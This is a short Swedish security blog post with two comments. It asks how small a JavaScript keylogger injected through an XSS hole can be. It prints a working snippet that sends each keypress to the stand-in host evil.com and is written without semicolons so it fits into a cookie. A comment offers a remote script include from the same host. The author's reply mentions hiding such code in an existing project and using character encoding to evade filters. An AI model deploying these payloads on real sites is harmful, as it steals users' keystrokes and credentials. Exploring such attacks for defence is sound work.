tisdag 20 april 2010

Hur stor är en JavaScript-keylogger?

Jag funderade lite i helgen på hur stor en keylogger i JavaScript behöver vara. Hur mycket skriptkod behöver man få ut via en XSS-sårbarhet? Inte mycket ...

Utan minifiering så fick jag ihop den här:

<script>
__document.onkeypress = function(e) {
____new Image().src = 'http://evil.com/log.php?k='
____+ String.fromCharCode(e.charCode)
__}
</script>

http://evil.com/log.php är alltså den fiktiva sajt jag skickar tangenttryckningarna till. Jag skippade semikolon för att jag samtidigt labbade med att mygla in skriptet i en cookie och cookies separeras ju med just semikolon. Funkar bra ändå.

Kanske är det någon av er som följer bloggen som vill bidra med något ännu mindre? :)

2 kommentarer:

Anonym sa...

Borde det inte bli kortare att inkludera scriptet från evil.com servern? <script src="http://evil.com/kl.js" /> är ju kortare än ditt exempel och då behöver du heller inte begränsa dig vad gäller funktionalitet. Ytterligare en fördel är att du kan uppdatera JS payloaden närsomhelst utan att röra injektionsvektorn.

John Wilander sa...

Så sant, så sant. Men då blir det ju inget roligt.

Min ursprungliga tanke var kring att mygla in JS-kod i ett befintligt projekt så jag funderade på vilka event som man kunde lyssna på utan att störa övrig klientkod och hur mycket kod man behövde skriva för att göra det man ville. Man kan förstås importera där också.

Sen övergick jag till att kolla vilka begränsningar som finns i att ha skript i cookies, därav semikolon bort. På serversidan så försvann skriptkakan tyst på invägen vilket jag har tänkt rota vidare i. Kanske kan man lura filtret med någon teckenkodning.

Nåja ...